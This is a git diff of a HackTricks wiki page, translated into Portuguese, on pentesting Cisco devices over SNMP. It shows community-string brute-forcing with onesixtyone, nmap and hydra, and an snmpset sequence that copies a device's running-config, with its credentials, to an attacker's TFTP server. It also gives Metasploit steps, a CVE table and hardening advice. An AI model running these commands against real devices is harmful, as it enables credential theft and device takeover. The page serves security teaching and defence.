mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
parent
aa3c18c5ad
commit
c887b94092
@ -4,34 +4,92 @@
|
||||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** funciona sobre UDP com as portas 161/UDP para mensagens gerais e 162/UDP para mensagens de trap. Este protocolo depende de strings de comunidade, que servem como senhas que permitem a comunicação entre agentes SNMP e servidores. Essas strings são fundamentais, pois determinam os níveis de acesso, especificamente **permissões de somente leitura (RO) ou leitura e gravação (RW)**. Um vetor de ataque notável para pentesters é a **força bruta de strings de comunidade**, visando infiltrar dispositivos de rede.
|
||||
**SNMP** funciona sobre UDP com as portas **161/UDP** para mensagens gerais e **162/UDP** para mensagens de trap. Este protocolo depende de *strings de comunidade*, que servem como "senhas" em texto simples que permitem a comunicação entre agentes e gerentes SNMP. Essas strings determinam o nível de acesso, especificamente **permissões de somente leitura (RO) ou leitura e gravação (RW)**.
|
||||
|
||||
Uma ferramenta prática para executar tais ataques de força bruta é [**onesixtyone**](https://github.com/trailofbits/onesixtyone), que necessita de uma lista de possíveis strings de comunidade e os endereços IP dos alvos:
|
||||
Um vetor de ataque clássico—mas ainda extremamente eficaz—é **forçar strings de comunidade** para elevar de usuário não autenticado a administrador do dispositivo (comunidade RW). Uma ferramenta prática para essa tarefa é [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
onesixtyone -c community_strings.txt -i targets.txt
|
||||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
O framework Metasploit possui o módulo `cisco_config_tftp`, facilitando a extração de configurações de dispositivos, dependendo da obtenção de uma string de comunidade RW. Os parâmetros essenciais para esta operação incluem:
|
||||
|
||||
- String de comunidade RW (**COMMUNITY**)
|
||||
- IP do atacante (**LHOST**)
|
||||
- IP do dispositivo alvo (**RHOSTS**)
|
||||
- Caminho de destino para os arquivos de configuração (**OUTPUTDIR**)
|
||||
|
||||
Após a configuração, este módulo permite o download das configurações do dispositivo diretamente para uma pasta especificada.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
Outro módulo do Metasploit, **`snmp_enum`**, especializa-se em coletar informações detalhadas de hardware. Ele opera com qualquer tipo de string de comunidade e requer o endereço IP do alvo para execução bem-sucedida:
|
||||
Outras opções rápidas são o script NSE do Nmap `snmp-brute` ou o módulo SNMP do Hydra:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
|
||||
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
|
||||
```
|
||||
---
|
||||
|
||||
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
|
||||
Se você obtiver uma **comunidade RW**, pode copiar a running-config/startup-config para um servidor TFTP/FTP *sem acesso CLI* abusando do CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Duas abordagens comuns são:
|
||||
|
||||
1. **Nmap NSE – `snmp-ios-config`**
|
||||
```bash
|
||||
nmap -sU -p161 --script snmp-ios-config \
|
||||
--script-args creds.snmp=private 192.168.66.1
|
||||
```
|
||||
O script orquestra automaticamente a operação de cópia e imprime a configuração no stdout.
|
||||
|
||||
2. **Sequência manual `snmpset`**
|
||||
```bash
|
||||
# Copy running-config (4) to a TFTP server (1) – random row id 1234
|
||||
snmpset -v2c -c private 192.168.66.1 \
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
|
||||
```
|
||||
Identificadores de linha são *one-shot*; reutilizar dentro de cinco minutos aciona erros `inconsistentValue`.
|
||||
|
||||
Uma vez que o arquivo está no seu servidor TFTP, você pode inspecionar credenciais (`enable secret`, `username <user> secret`, etc.) ou até mesmo enviar uma configuração modificada de volta para o dispositivo.
|
||||
|
||||
---
|
||||
|
||||
### Recursos do Metasploit
|
||||
|
||||
* **`cisco_config_tftp`** – baixa running-config/startup-config via TFTP após abusar do mesmo MIB.
|
||||
* **`snmp_enum`** – coleta informações de inventário do dispositivo, VLANs, descrições de interface, tabelas ARP, etc.
|
||||
```bash
|
||||
use auxiliary/scanner/snmp/snmp_enum
|
||||
set RHOSTS 10.10.100.10
|
||||
set COMMUNITY public
|
||||
run
|
||||
```
|
||||
---
|
||||
|
||||
## Vulnerabilidades recentes do Cisco SNMP (2023 – 2025)
|
||||
Acompanhar os avisos dos fornecedores é útil para identificar oportunidades de *zero-day-to-n-day* dentro de um engajamento:
|
||||
|
||||
| Ano | CVE | Recurso afetado | Impacto |
|
||||
|-----|-----|-----------------|---------|
|
||||
| 2025 | CVE-2025-20174 | Subsistema SNMP | Pacote elaborado leva a *DoS* autenticado (reload) no IOS/IOS-XE (v1/v2c/v3). |
|
||||
| 2024 | CVE-2024-20373 | Manipulação de ACL IPv4 | ACLs **estendidas** mal configuradas falham silenciosamente, permitindo polling SNMP não autenticado quando uma comunidade/usuário válido é conhecido. |
|
||||
| 2025 | (sem CVE ainda) | Bypass de restrição de configuração do SNMPv3 | Usuário v3 válido pode fazer polling de endereços que deveriam ser negados. |
|
||||
|
||||
A explorabilidade muitas vezes ainda depende de possuir a string da comunidade ou credenciais v3—outra razão pela qual a força bruta continua relevante.
|
||||
|
||||
---
|
||||
|
||||
## Dicas de Fortalecimento e Detecção
|
||||
|
||||
* Atualize para uma versão fixa do IOS/IOS-XE (veja o aviso da Cisco para o CVE acima).
|
||||
* Prefira **SNMPv3** com `authPriv` (SHA-256/AES-256) em vez de v1/v2c.
|
||||
```
|
||||
snmp-server group SECURE v3 priv
|
||||
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
|
||||
```
|
||||
* Vincule o SNMP a um VRF de gerenciamento e **restrinja com ACLs IPv4 numeradas *padrão*** (ACLs nomeadas estendidas são arriscadas – CVE-2024-20373).
|
||||
* Desative **comunidades RW**; se operacionalmente necessário, limite-as com ACL e views:
|
||||
`snmp-server community <string> RW 99 view SysView`
|
||||
* Monitore por:
|
||||
- Picos de UDP/161 ou fontes inesperadas (regras SIEM).
|
||||
- Eventos `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` indicando alterações de configuração fora de banda.
|
||||
* Ative **logging do SNMPv3** e `snmp-server packetsize 1500` para reduzir certos vetores de DoS.
|
||||
|
||||
---
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
- Cisco: *Como Copiar Configurações Para e De Dispositivos Cisco Usando SNMP*
|
||||
- Aviso de Segurança da Cisco *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user